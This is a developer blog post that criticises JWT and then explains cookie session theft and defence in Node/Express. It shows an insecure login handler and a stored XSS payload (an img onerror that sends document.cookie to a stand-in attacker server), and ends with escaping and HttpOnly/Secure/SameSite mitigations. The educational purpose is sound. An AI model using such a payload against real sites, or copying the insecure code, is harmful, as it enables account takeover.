Every developer has it’s favourite method when comes to save a user session. Mine ? Cookies ! But many other are in love with JWT.

Why still sessions on cookie and not JWT ?

JWT is widely used for authentication and authorization in web development, but it’s essential to be aware of potential security concerns. While JWT has its incredible advantages, there are certain situations where its use may give some serious headache. For example:

  1. Statelessness and Token Size: Meaning the server doesn’t need to store any information about the state of the user’s session. However, this can lead to large tokens, especially when including additional claims or information. Transmitting large tokens in every request can impact performance and may expose sensitive information unnecessarily.
  2. Token Expiration: JWT contain an expiration timestamp, but the server doesn’t actively manage token expirations. If a token is compromised, an attacker could use it until it expires. The server would still accept the token until it hits the expiration, even if the user’s access should have been revoked earlier.
  3. Mechanism of Revocation: Revoking JWT before their expiration time is a huge pain in the ass. Since the server doesn’t keep track of issued tokens, it cannot easily invalidate a specific token. Revocation mechanisms often involve additional complexity, such as maintaining a token blacklist.
  4. Logging: When using JWT, developers must be alert about logging mechanisms. If logs capture sensitive information, like a token, it could expose user data and compromise security. This means that you have to spend extra time on setting up properly the logging system..
  5. Algorithm: For example, using a weak HMAC key (especially if it’s static) could result in token forgery.
  6. Sensitive Data Exposure: Even tho JWT can be encrypted in order to protect their contents, developers must pay attention to not to include sensitive information in the token payload, as it can be decoded by anyone. It’s recommended to keep only non-sensitive information (like user ID or roles) and perform additional server-side checks for sensitive data.
  7. Token Renewal: Renewing or refreshing JWT can be a trauma, especially when handling token expiration. Developers need to implement secure mechanisms to renew those tokens without introducing security vulnerabilities like token replay attacks.
  8. No Forward Secrecy: Once a JWT is signed, the signature is static, meaning if the key is compromised, all previously issued tokens become vulnerable. There’s no perfect forward secrecy, which would allow for new keys to be used without compromising the security of past tokens.
  9. Standardization and Implementation: While JWT is a standard, its implementation across different libraries and frameworks can vary (and i’ve seen way too much). Developers need to ensure they are using well-established and secure libraries-

I think i gave enough reason to why i hate JWT.

In summary, while JWT are widely used and have (undoubtedly) some benefits, careful consideration and implementation of best practices are crucial to mitigate potential security risks.

So, dear developer and future developer….do not rush and assess the specific use case and requirements to determine whether JWT are the most appropriate solution for your situation.

But, we went a bit out of track with this. Sorry. Let’s begin.

Are Cookie safe from attack ?

Short answer: no. Nothing is.

All comes down to the developer and how he/she is trained in their job (mostly).

DIY – Do It Yourself

Please, don’t go around making damages bothering other peoples or risking jail for nothing.

Here’s all you need to start on your own machine to check how to steal and secure a cookie:

  • Ubuntu Server 22.04
  • NodeJs
  • Express
  • MySQL (or MariaDB)

THE BEGIN: First visit and no cookie yet

The user visit the website my-super-dooper-website.com and then the server check if the cookie named “session_token” exist or not. If it doesn’t exist do a redirect to the login page.

app.get("/", function (req, res) {
    const sessToken = req.cookies['session_token'];
    if ( !sessToken ) {
        res.render('my_login.ejs');
        return;
    }
}

FIRST BLOOD LOGIN: How it works

Way to many times i found myself this kind of code to handle the login/registration process and cookie creations:

app.post("/login", function (req, res) {
  var username = req.body.username;
  var password = req.body.password;

  if (username && password) {
    // Create the session token
    var session_token = uuidv4();
    pool.connect((err, client, done) => {
      const qrySearchUser = "SELECT user.id, user.username, user.password FROM users WHERE username = $1 AND password = $2";
      client.query(qrySearchUser, [username, password], (err, result) => {
        if (result.rows.length > 0) {
          var user_id = result.rows[0].id;
          var user_name = result.rows[0].username;

          // Let's register our session token into the db
          const addSessionToken = "UPDATE users SET session_token = $1 WHERE id = $2";
          client.query(addSessionToken, [session_token, user_id], (err, result) => {
            client.query('COMMIT', (err) => {
              done();
            });
            sessions[session_token] = {
              id: user_id,
              username: user_name
            };
            // create cookie 
            res.cookie('session_token', session_token);
            res.redirect("private-page");
          });
        } else {
          console.log("Sorry, no entry for you!");
          res.end();
        }
      });
    });
  }
});

I know, there are monumental errors and some bugs. But i’m not here to write code for you. I just highlighted the most common structure. But here the recap of what this pseudo-logic/code does:

  • Receive username and password via POST request
  • Check those credentials towards the Database
  • If the credentials are correct update the session status into db, generate a cookie and redirect the user to it’s private page.
  • Please NOTE that the cookie creation has NO ATTRIBUTE (we’ll see in a minute why this matter)

Comrades, ATTACK !

If the developer that made you a website, web app, other stuff and his coding style is very similar to what you read above….well i may have bad news for you. Anyway. Let’s assume as follow:

On our super-dooper-website we have a small and innocent form where it’s job is solely to collect e-mail address and name of the user in order to subscribe him/her to our newsletter (i think this is a pretty common scenario). All info are nicely stored in our database.

Now, error made by many novice and people who should not have excuse to defend them, tend to trust the average user. Forgetting that some people live for chaos or bother people. So i can assure you that most likely no check has been implemented regarding what the user input.

If the developer follow the style you read till now an attacker could easily exploit your newsletter form in this way:

Basically in the input box for the name he can write as follow:
<img src="why_bother" onerror=this.src='https://my-evil-server.com/?'+document.cookie;>

I think is pretty straight forward what this means and wich are it’s consequences. But i’m gonna tell anyway cause i’m bored and doing nothing else.

When you, dear website admin/operator, open the back-end in order to see the new subscribed peoples will encounter in a very bothering situation.

The website/app/whatever made by your cousin for free, will write exactly what the user has entered in the form. Storing that line into the database and this means that your favourite browser will try to render the tag img in hoping to show you a nice pic. But, for how has been wrote the field name, this happen:

  • The browser won’t find the image at the path why_bother
  • This will trigger the action onerror (standard)
  • the use of the keyword this will dinamically change the value of the image source
  • The provided src will create a GET request towards my-evil-server with the detail of your cookie as Admin

Pretty cool, right ?

Now all the attacker has to do is to visit your website and with any browser extension that allow manual cookie creation (or simply using the browser console) he can impersonate you as Admin.

Ok, my cousin sucks. What do i do ?

Well. As starter pay the professional. They know what they do (usually). But here how to mitigate the risk in this scenario.

Data Sanitization

Escaping data is a always the right way to go when treating data inputted by an user. But a solely front-end check IS NOT ENOUGH.

Often all comes to dev language you decided to use. In this case (beside using the millions of free lib to check user input on front-end) you can avoid some issues by escaping the data you need to show on page, like this:

<%= user[0].full_name %>

Since we are using Node/Express for the sake of this article, the use of the tag <%= will basically tell the browser to not process any html tag or script you encounter but rather show them as pure text.

Server Side

Now we have multiple teams working on different things with them rarely talking to each others.

As personal experience i apply Zero Trust principle on about everything. That’s why when come to back-end developing i never trust anyone, especially front-end people.

So, how to mitigate this on a more server side ?

Easy, if you remember i left a note about the cookie creation without it’s attribute. Many dev think that the default options are ok. But they are not. So, in case of node/express, here how you should create a cookie in production environment and why (same principle/attribute are shared across other languages/lib):

  • HttpOnly: true
  • Secure: true
  • SameSite: strict

Breaking down.
HttpOnly will avoid that any language or scripting language will access to the cookie.
Secure The cookie will be transmitted only in https environment (avoiding problems in case of attacks like ssl strip)
SameSite Will prevent that the cookie content will travel across other domains

Code example:

res.cookie('session_token', sessionToken, {
    httpOnly: true,
    secure: true, // in case you want be cool instead of true you can write: process.env.NODE_ENV === 'production'
    sameSite: 'strict'
});

Wrapping Up

As you may have noticed by now (following the few articles i wrote or looking at the code) security sometimes is very hard…other time is very easy. Never let your friendly good cousin to build something important because he is cheap.

Please, gave the proper value to the professional of this sector and avoid using statements like:
– You are good, it will take you 5 minutes !
– My cousin/son/daughter/brother/*insert_random_relation* will do it for free/cheaper
– other similar idiot/useless statements

As always, thanks and

Stay Safe !